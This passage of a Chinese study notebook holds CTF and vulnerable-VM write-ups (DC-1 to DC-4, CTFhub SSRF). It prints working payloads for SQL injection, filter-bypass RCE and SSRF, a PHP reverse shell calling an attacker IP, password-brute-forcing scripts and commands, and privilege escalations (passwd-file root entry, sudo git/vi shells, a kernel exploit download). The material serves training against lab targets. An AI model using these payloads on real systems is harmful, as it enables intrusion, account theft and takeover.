if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}

我们尝试传参发现没有反应,这里涉及到了php解析变量的一个特性,在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候,php会将怪异的变量名转换成有效的,在进行解析时会删除空白符,并将空格、+、点、[ 转换为下划线。但是用一个特性是可以绕过的,就是当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了。

也就是说如果不使用[的话,N_S.S就会被解析为N_S_S,所以正确的变量传参就是:

1
?N[S.S=phpinfo();

![](../../../../../web学习笔记/题集/暑假题目/暑假题目.assets/[NSSRound%238 Basic]MyDoor解题截图.png)

直接ctrl+F找到flag的值

[SWPUCTF 2022 新生赛]ez_sql

相对安全的方式,就是POST方式了,并且告诉了我们参数是nss,尝试传参

很明显是假的flag

经判断,闭合方式为’,过滤了union,空格,information

我们开始爆库名:

1
nss=2'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()%23

爆表名:

1
nss=2'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()%23

直接爆字段(一开始猜测flag在flll444g里面,但是很快发现不对):

1
nss=2'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_db.NSS_tb%23

成功拿到flag。

[BJDCTF 2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

第一步很简单,对于text变量,我们使用data协议直接写入一个新文件,而file变量直接利用伪协议进行读取

1
?text=data://ta/a,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

得到题目next.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里涉及到php的正则逆向引用与子模式分析

php正则逆向引用与子模式分析 - MasonZhang - 博客园 (cnblogs.com)

payload:

1
/?text=data://text/pain,I have a dream&file=next.php&\S*=${phpinfo()}

ctrl+F找到flag:

[鹏城杯 2022]简单的php

先看源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}

?>

明显是无参RCE,

发现可以使用取反绕过:

这里说说无参RCE的常用函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、getallheaders()
2、get_defined_vars()
3、session_id()

配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

然后就掏出我们的祖传脚本,目标命令是:

1
system(current(getallheaders()));

为什么是这个呢,这个命令就是取所有的请求头存为数组,并取第一个的值进行命令执行,所以我们就需要在请求包的第一行添加一个值为我们想要执行的命令的请求头。

分别用脚本跑出

1
2
3
system:(~%8C%86%8C%8B%9A%92)
current:(~%9C%8A%8D%8D%9A%91%8B)
getallheaders:(~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)

将他们拼接起来即可,还有就是要用[!%FF]分开

最终payload为:

1
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())); 

成功拿到flag。

[NISACTF 2022]hardsql

这道题其实就是Quine注入,关于payload的构造,参考这位大神的文章:

[(7条消息) Quine-第五空间 2021]yet_another_mysql_injection_qq_74426248的博客-CSDN博客

题目一进去是一个登录界面,hint里面有用户,但我们需要爆破出密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url='http://1.14.71.254:28279/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag=''
for j in range(50):
for i in dict:
data={
"username":"bilala",
"passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"
}
res=requests.post(url,data=data)
if "nothing found" not in res.text:
flag=flag+i
print(flag)
break

爆破出密码为b2f2d15b3ae082ca29697d8dcd420fd7,我们进行登录,得到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}

?>

重点是这一段:

1
2
3
4
5
6
7
8
9
10
11
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}

数据库中的passwd和输入的password一样,然后 password不等于b2f2d15b3ae082ca29697d8dcd420fd7才可以 die flag

这里拿到flag的条件就是密码不为b2f2d15b3ae082ca29697d8dcd420fd7且能登陆成功

题中还过滤了char,用chr或者直接0x代替即可。

0x、char、chr三个等价

0x22, 双引号 char (34) ==

0x27 单引号 char (39)

相信有人纳闷,这道题为什么是%而不是. 因为 0x25是%的16进制改为

0x2e . 也是可以的
所以构造payload:

1
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

[GKCTF 2020]CheckIN

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

可以看到我们传入的东西是会被base64解码一遍的,所以我们先尝试传参phpinfo();

1
Ginkgo=cGhwaW5mbygpOw==

成功执行了phpinfo(),但是我们发现有被禁用的太多了

那我们尝试进行上传一句话木马

eval($_POST[a]);编码之后是ZXZhbCgkX1BPU1RbYV0pOw==

传参之后用蚁剑进行连接,连接成功之后进入查找

在根目录下发现了flag打开是空的,那我们看看readflag吧

无法读取,但我们猜想是通过readflag来读取flag文件

上网看看,通过phpinfo()知道php版本为7.3,这个版本有一个漏洞
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
给出了exp
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
下载后进行修改,改为执行readflag

现在攻击文件准备好了,该上传到哪里呢:

我们发现tmp文件夹的权限是777,什么都可以做,就把攻击的php上传到那里去吧

然后通过之前上传的一句话来包含攻击文件

成功拿到flag。

DC3-4靶机复现

DC-3

基础信息搜集

老样子,上来还是基础流程,根据我们找到的mac地址,确定靶机地址

使用nmap查看目标靶机的详细端口开放

1
nmap -A -p- 192.168.10.138

可以看到只开放了80端口提供http页面,同时使用的是apache服务器,版本为2.4.18

访问一下页面

搜集到如下信息

1
2
3
Joomla		cms管理系统
Ubuntu 操作系统
Apache 服务器2.4.18

页面上还有这么一句话:

1
2
3
4
5
6
7
8
9
Welcome to DC-3.
欢迎来到DC-3。
This time, there is only one flag, one entry point and no clues.
这一次,只有一个flag,一个入口点,没有任何线索。
To get the flag, you'll obviously have to gain root privileges.
要获得flag,您显然必须获得root权限。
How you get to be root is up to you - and, obviously, the system.
你如何成为root取决于你 - 显然,还有系统。
Good luck - and I hope you enjoy this little challenge. :-)

漏洞探测

既然有cms,我们首先使用metasploit对于cms进行扫描

1
msfconsole

发现有很多攻击模块,试试,发现没有一个成功的,这很恼火,那么我们使用dirb扫一下目录:

1
dirb 192.168.10.138

挨着访问,我们发现了一个后台登录界面

http://192.168.10.138/administrator/index.php

到这里不知道该怎么办,知道是cms

但是我们这时候就有反骨了,突然想起来之前安装的advs这个漏洞扫描器还没用过,那就试试,设置好后,开始扫描

哇塞,全是漏洞(好富裕,一时间不知道该利用哪个),我们先从第一个开始看(点进去之后有漏洞描述)

明显是一个sql注入漏洞,原理是没有对用户提供的数据进行充分处理

漏洞利用

根据advs提供的漏洞讲解文章还有网上搜到的,我们得到如下payload

1
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

经检验,漏洞确实存在,那接下来就到我们的懒狗快乐时间(使用sqlmap)

爆库名

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs

爆出来5个库,既然是joomla的cms,那我们就先看joomladb这个表

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables

爆出来76个表,既然我们想要弄到后台的信息,那我们就先看看users这个表,查列名

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" --columns

得到了6个字段的东西,下一步肯定首先就是查id和password的东西了

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump

这密码一看就是加密过的,看起来很像md5解密,我们解密一手,但是这个使用md5在线工具解密失败了,所以我们上网搜了一下,尝试使用kali自带的john进行解密

1
2
3
vim 1.txt
将密码复制进去
john 1.txt

得到密码,进行登录

好,到这里已经是极限了,下面我是真不会了,只有乱测,乱点一通,但是没发现啥有用的,撑不下去了,还是乖乖的看wp吧

反弹shell

发现Extensions->Templates里面的模板可以修改执行PHP脚本

那我们接下来就随便找一个路径书写我们想要的php程序

往里面书写我们想要进行反弹shell的代码(一定要注意缩进):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sock = fsockopen("192.168.79.128", "5555");

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

点击save保存之后进行访问http://192.168.10.138/offline.php

在kali内对4441端口进行监听:

1
nc -lvvp 4441

可以看到已经接收到shell

提权

拿到shell之后,进行了一些基础操作,包括通过python更改交互式shell,但显示权限不够,然后使用suid提权,发现也不行,这里就尝试进行系统漏洞提权

查看发行版的详细信息

1
cat /etc/*release       #查看发行版信息

可以看到是ubuntu的16.04的版本

1
cat /proc/version  #查看内核版本的全部信息

可以看到内核版本详细信息为4.4.0

使用kali自带的漏洞库来进行系统漏洞的查找

1
searchsploit ubuntu 16.04

把内核对应版本的都试一下,可以发现39772.txt能用

查看exp:

1
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

下载地址就在下面,把压缩包下载到本地

1
wget  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
1
2
3
4
5
开启apache服务
systemctl start apache2.service

移动39772.zip到指定的apache的目录下,得到访问页面
mv 39772.zip /var/www/html

既然已经移到了web服务下面,那么我们访问虚拟机地址,如果是第一次使用记得删除/var/www/html下的index.html文件

既然已经出现在web目录下,那我们就在目标靶机的shell里下载攻击机上的exp

1
wget http://192.168.10.129/39772.zip

解压exp

1
2
3
unzip 39772.zip         #解压39772.zip
cd 39772 #进入39772
tar -xvf exploit.tar #解压缩exploit.tar

进入 ebpf_mapfd_doubleput_exploit 运行exp

1
cd ebpf_mapfd_doubleput_exploit

至于运行方法之前那个cat /usr/share/exploitdb/exploits/linux/local/39772.txt写了的

运行compile.sh , doubleput即可

1
2
./compile.sh
./doubleput

可以看到提权成功,下一步就是进入root,直接得到flag就行

DC-4

基础信息搜集

老规矩,第一步:确定靶机IP和判断端口所开放的服务

1
nmap 192.168.10.0/24
1
nmap -A- -p 192.168.10.137
1
2
22		开放ssh服务
80 开放http服务/面板服务为nginx

使用dirb进行目录爆破:

1
dirb http://192.168.10.137/

发现只有文件都被重定向到index.php,看样子不得不登陆了。

hydra爆破登录

这里直接访问:192.168.10.137:80,看到上述界面,还是使用插件看看框架,发现只有nginx,我们试着搜一搜nginx1.15.10是否存在什么漏洞

使用Metasploit进行探测和访问发现对于这个框架来讲并没有什么可以利用的,所有的对于这个框架的漏洞都不适用于这个nginx的版本,那么就尝试进行暴力破解

我们使用hydra配合kali自带的字典进行破解

1
hydra -l admin -P /usr/share/wordlists/metasploit/password.lst -t 8 192.168.10.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

可以看到爆破成功,密码为happy

命令查询

我们点击Command,跳转到下一个页面

随便选一个,我们点击run进行抓包

很明显,我们可以知道radio参数就是执行命令的所传参数,那我们利用这个来执行命令

既然有ssh服务,那我们就尝试看看能不能找到ssh登录的用户和密码,我们知道在kali下,用户目录一般在/home下,所以我们进行查询

发现了三个用户

1
2
3
charles
jim
sam

一一访问一下,charles和sam用户下面只有return to menu,但是在jim目录下发现了一些东西

还是挨着访问一下

还是只有backups下面有内容,cat看一下,发现是存储旧密码的一个文件

hydra爆破ssh密码

这下好了那我们就生成字典进行爆破登录ssh服务,因为这个是jim用户下的,所以我们用户名直接指定为jim就行

1
hydra -l jim -P passwd.txt  192.168.10.137 ssh -v

爆破成功我们进行连接

1
ssh jim@192.168.10.137 -p 22

到这里简单的进一些重要文件看了看不知道该怎么办了,只有去看看wp,发现重点在/var/mail这个邮件目录下

我们进行查看

我们可以看到邮件里又给出了一个针对于charles的密码,而我们之前使用burpsuite来找ssh服务用户时发现了三个用户,其中就有charles,我们来进行连接

1
ssh charles@192.168.10.137 -p 22

成功连接

teethe提权

登录进来之后首先想到的是进行查看suid提权的情况:

1
find / -user root -perm -4000 -print 2>/dev/null

发现sudo是具有suid权限的,那我们使用sudo -l来看看哪些是具有sudo权限的:

1
sudo -l

可以看到teehee是不需要密码就可以使用的,那我们就去网上搜搜teehee命令是否存在提权

1
2
3
4
5
6
7
8
9
teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目


echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd


按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su raaj就可以登录到raaj用户,这个用户因为uid为0,所以也是root权限

可以看到成功以root身份进入shell

1
2
3
4
cd /
ls
ls root
cat root/flag.txt

成功拿到了flag。

DC1-2靶机复现

DC-1

flag1——msfconsole使用

先用nmap扫描以下(这里是将DC-1靶机和kali都开启并使用NAT连接的情况下并且知道了DC-1靶机的ip域名),同时我们也知道了靶机所开放的端口

尝试访问

看起来很像一个管理系统的登录面板啊,用火狐插件搜罗一下页面信息

搜集到如下信息:

1
2
3
4
Drupal  7  一种cms
php 5.4.45
apache 2.2.22
jQusery 1.4.4

接下来使用Metasploit找一下是否有漏洞,首先打开工具:

1
msfconsole

我们使用命令查找以下是否有Drupal这种cms的漏洞

1
search Drupal

发现了好几个CVE漏洞

以18年的漏洞为例

1
use exploit/unix/webapp/drupal_drupalgeddon2
1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp    弹出来一个没有有效载荷
1
show options   查看以下漏洞产生所需参数配置

可以发现在必需要求设置为yes的参数里,只有RHOSTS没有值,所以我们将其设置为靶机IP

1
set RHOSTS 192.168.10.135

可以看到参数已经设置成功

接下来使用run开始攻击:

1
run

出现这样就表示已经连接成功,可以直接上shell了

1
shell

输入之后尝试执行命令

哎?发现了一个可疑文件:flag1.txt ,使用cat查询flag1.txt

flag1.txt告诉我们每一个好的cms都需要一个好的配置文件——你也一样,那我们来康康配置文件

flag2

查查Drupal的配置文件名叫做settings.php,查询看看

1
2
find -name settings.php
cat ./sites/default/settings.php

可见,我们查到了flag2的内容,同时出来的还有一个数据库的用户名和密码

1
mysql -udbuser -pR0ck3t

flag3

这里出现了登陆失败,所以我们先试试将普通shell改为交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

再次执行数据库命令

可以看到我们成功登陆进了数据库,先看看有啥表

1
show datebases;

可以看到一个是系统库,还有一个是自己的,进去查看一下

1
use drupaldb;      show tables;

可以看见是有很多表的,我们浏览并发现了一个可能藏有有用信息的表

1
select * from users;

发现了两个用户:

1
2
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

看到这个admin还是很兴奋的,因为他应该是管理员账号,但是这个密码应该是加密过的

法1 修改密码

既然要修改密码,我们查到Drupal的加密脚本是在/var/www/scripts/password-hash.sh目录下,先退出数据库:

1
exit;
1
cat /var/www/scripts/password-hash.sh

在加密脚本里面我们可以看到能用php加参数运行

1
php /var/www/scripts/password-hash.sh 123456

可以看到脚本给我们显示出了加密之后的密码,现在我们来修改管理员的密码,首先还是进入到数据库和Drupal的表,再修改密码:

1
use drupaldb;    update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

法2 添加admin用户

drupal7版本有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

发现果然是有的:

然后看一下脚本:

1
searchsploit 34992.py -p

可以通过url下载脚本,这里就不再多说

尝试登录,在content里面发现了flag3

同时flag3告诉了我们一些信息passwd和shadow,明显就是linux的文件

flag4

下面有对于etc/passwd和etc/shadow,讲的非常详细的两篇文章:

Linux /etc/passwd内容解释(超详细) (biancheng.net)

Linux /etc/shadow(影子文件)内容解析(超详细) (biancheng.net)

从两篇文章中我们得知,现在用户的密码存放在/etc/shadow中,但是这个文件只能用root身份登录,但我们的交互式shell显示出来的只是普通用户,所以这里应该就涉及到了提权

我们先看看用户:

1
cat /etc/passwd

发现了flag4这个用户,但是我们并没有他的密码,所以尝试一下暴力破解

相关知识的两篇文章:

(6条消息) SSH简介及两种远程登录的方法_ssh @_Jack LDZ的博客-CSDN博客

黑客工具之hydra详细使用教程 - 知乎 (zhihu.com)

1
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.10.135 

我们之前使用nmap扫端口时也发现22端口开放了ssh,这里也爆破出flag4用户的密码是orange,然后我们用kali进行连接

1
ssh flag4@192.168.10.135

发现好像也没啥

flag5——suid提权

但是上面说到,访问/etc/shadow需要root权限,这也就意味着需要提权

关于suid提权:

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令来查找具有SUID权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

find比较常用,可以执行root权限的命令找查文件,

1
find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上 -exec “/bin/sh” ;

关于/bin/sh的介绍:#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

1
2
3
4
5
cd /root

ls

cat thefinalflag.txt

终于拿到最后一个flag了,与君共勉。

以上内容参考大神文章:

DC-1靶场搭建及渗透实战详细过程

DC-2

flag1

首先用nmap扫描一下,因为是NAT模式,所以可以直接搜一定范围内的:

1
nmap 192.168.10.0/24

我们知道该靶机的mac地址,所以可以很轻松的在扫描出的里面找到IP地址,DC-2靶机地址为192.168.10.136,只有80端口开启了http服务

但是这个命令只是执行了常见端口的扫描,现在使用全面扫描的命令对目标靶机再次进行扫描

1
nmap -A -p- 192.168.10.136

可以看到除了80端口之外,还有7744开放了ssh服务

尝试访问,发现访问失败,我们要将靶机的IP地址放在host文件夹下

1
C:\Windows\System32\drivers\etc

将靶机的IP添加到其中

这个文件是干什么的呢,根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 C:Windows/System32/drivers/etc/hosts 是域名解析文件

我们一开始是没法改写host文件的,所以要改写权限

写入之后就可以成功访问了。

flag2——cewl配合wpscan的使用

同时得知该网站页面是由wordpress搭建的。也是一种CMS,所以就用metasploit的search找了一下,发现wordpress都是对于特定版本发生的,并且对DC-2靶机探测,但是靶机并没有对应的漏洞,所以就打消了使用框架漏洞的想法。

页面上就有一个flag,我们直接进行查看,并翻译一下

1
2
3
4
5
你的常规字典可能无法爆破成功,因此,也许你需要去cewl一个字典。
尽管密码字典越大越好,但是有时你仍然无法爆破出正确密码
登录去查看下一个flag
如果你无法发现flag,登录另一个
这里提示我们cewl一个密码字典,kali走起

提示了cewl,所以就上网看了看,这是kali自带的密码字典生成工具

既然要用cewl生成字典,那么就要找到登录框,使用dirb挖掘一下目录:

1
dirb http://dc-2

尝试对于+号开头的进行访问,很快就找到了登陆界面:

同时由于wordpress这种热门的搭建博客的CMS,在这里也就知道了一个新工具,wpscan(一种专门针对于wordpress的扫描工具),这里就简单说一下其参数:

接下来用wpscan枚举一下用户名:

1
wpscan --url http://dc-2/ -e u      //枚举用户名字

扫描出的三个用户:

1
2
3
admin
jerry
tom

知道用户名,并结合flag1的提示,我们使用cewl进行密码字典的生成

1
cewl http://dc-2 -w passwd.txt

在对应目录下就生成了密码字典

接下来将用户名输出到一个文件里,方便我们使用wpscan进行爆破

1
2
3
echo "admin" > user.txt
echo "jerry" >> user.txt
echo "tom" >> user.txt

再使用wpscan进行爆破:

1
wpscan --url http://dc-2/ -U user.txt -P passwd.txt

可以看到爆破出了两个用户名和其对应的密码:

1
2
jerry/adipiscing
tom/parturient

尝试登录,注:这里可能在登录成功之后跳转到了一个空白页面,需要我们手动在url里面输入:http://dc-2/wp-admin/

在页面里面到处找找就发现了flag2。

flag2的内容告诉我们:

1
wordpress已经没有什么了,让我们尝试其他的方法

flag3

框架相关已经没了,另一条路是什么呢,这时我们想起靶机的7744端口还开放了ssh服务,还是尝试之前爆破出来的用户名和密码尝试登录

1
ssh jerry@192.168.10.136 -p 7744

输了几次对应密码都不对,就尝试使用tom进行登录:

1
ssh tom@192.168.10.136 -p 7744

可以看到登录成功,接下来使用ls发现了flag3.txt,再使用cat命令查看文件内容,但是发现命令被禁用了

1
compgen -c       //查看可以使用的指令

发现很多命令都可以,但是我们比较熟知的就是vi,使用vi进行查看:

1
vi flag3.txt

拿到flag3的内容

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们需要su来切换用户

flag4——vi提权

除了vi提权,还有一种就是使用自己定义的bash对rbash进行逃逸

这里有一篇rbash讲的很好的文章:

(6条消息) 【渗透测试】— rbash逃逸方法简述_rbash 命令_通地塔的博客-CSDN博客

直接进行切换:

1
su jerry

还是收到了rbash限制,所以就需要进行vi提权(使用vi进入任意文件)

1
vi 123

然后在末行模式下使用:

1
2
:set shell=/bin/bash
:shell
1
2
cd ..  //退回上级目录
ls

发现了jerry目录,进入其中,并ls一下

还是使用vi查看一下:

1
Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!
1
2
3
4
5
6
7
8
Good to see that you've made it this far - but you're not home yet.
很高兴看到你走了这么远-但你还没回家。
You still need to get the final flag (the only flag that really counts!!!).
你仍然需要得到最终的标志(唯一真正重要的标志!!!) # 就是root嘛,懂的
No hints here - you're on your own now. :-)
这里没有提示-你现在只能靠自己了。:-)
Go on - git outta here!!!!
去吧,离这里远点 #是用 git 提权吗

flag5——git提权

所以就要切换到root用户

直接切是切不了的

在这里使用上面文章的方法:

1
2
3
4
5
6
7
export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量

提权成功

发现做完这些还是进不去

这时候我们想到了suid,用命令看看有哪些是具有suid的可执行文件

1
find / -user root -perm -4000 -print 2>/dev/null

我们可以发现sudo是具有suid的权限的,所以就用sudo -l命令来看看有哪些是具有sudo权限的

发现有git可以直接切换到root权限

1
2
3
cd
sudo git help config
!/bin/bash //在末行模式输入

可以看到,成功拿到了root权限,但是我们的目录退到了jerry目录下,再次cd

1
2
3
cd
ls
cat final-flag.txt

CTFhub ssrf

前置知识

Gopher协议

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

gopher的协议格式如下:

1
2
3
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

但是gopher协议在各个语言中是有使用限制的。

语言 支持情况
PHP –wite-curlwrappers且php版本至少为5.3
Java 小于JDK1.7
Curl 低版本不支持
Perl 支持
ASP.NET 小于版本3

Gopher协议传递GET请求

gopher在发送请求时候,必须进行URL编码

我本地准备PHP代码如下

1
2
3
<?php
echo $_GET['name'];
?>

http访问并抓包

get型的http数据包如下

1
2
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2

直接在Burpsuite 中将数据进行编码(比较方便)

编码的时候在最后一定要补%0d%0a代表结束。

Burpsuite编码后

1
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32

结尾没有%0d%0a我们手动添加一下。

转换为gopher

1
curl gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a

Gopher协议传递POST请求

修改本地代码如下

1
2
3
<?php
echo $_POST['name'];
?>

我们用gopher协议传递POST请求时,必须要包含这四个,还有一个post传参。

转换为gopher

1
curl gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a

ctfhub ssrf的内网访问

一进去页面是空白的,不过根据题目提示:

1
尝试访问位于127.0.0.1的flag.php吧

同时我们可以发现url参数是:

1
http://challenge-3838ac66a8862c7b.sandbox.ctfhub.com:10800/?url=

所以在url参数后面直接输入:

1
127.0.0.1/flag.php

就得到了flag.

ctfhub ssrf的伪协议读取文件

老规矩,题目里有提示:

1
尝试去读取一下Web目录下的flag.php吧

同时题目又告诉我们是用伪协议读取web目录下的文件:

而web目录下的文件一般放在/var/www/html下:

所以我们就用最简单的file://协议进行读取,payload如下:

1
?url=file:///var/www/html/flag.php

页面显示???,直接f12查看源代码就得到了flag。

ctfhub ssrf的端口扫描

题目提示让我们扫描8000到9000端口的,所以在这里就用burpsuite来爆破一下,在参数里随便写一个端口,转到burp

1
